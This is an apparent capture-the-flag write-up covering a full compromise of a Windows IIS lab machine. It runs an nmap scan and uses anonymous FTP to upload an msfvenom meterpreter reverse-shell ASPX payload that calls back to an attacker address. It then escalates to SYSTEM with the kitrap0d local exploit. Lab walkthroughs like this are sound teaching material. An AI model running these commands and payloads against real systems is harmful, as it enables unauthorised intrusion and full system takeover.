RECON

IIS Server (Windows)

Nmap Scan

nmap –p- -A -T4 10.10.10.5

-allports -version -Aggressive

Port 21 allows for anonymous FTP Login

ENUMERATION

FTP Login

User: anonymous

Pass: anonymous

The connection allows files to be uploaded

Msfvenom Payload

 -p windows/meterpreter/reverse_tcp LHOST=10.10.14.9 LPORT=4444 -f aspx > ex aspx 

Metasploit Listner

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 10.10.14.9

FTP Upload

binary

Binary is more reliable than ASCII

put ex.aspx

Uploads the file to 10.10.10.5/ex.aspx

PRIVILEGE ESCALATION

Meterpreter session

getuid

Accessing the webpage provides a session to the application server

Exploit suggestor

backround

use post/multi/recon/local_exploit_suggester

set session 1

run

Exploit list

13 possible exploits found

Exploit

use exploit windows/local/ms10_015_kitrap0d

set options

run

Creates a new session with SYSTEM privileges

Root shell

shell

Flags for user and root on desktop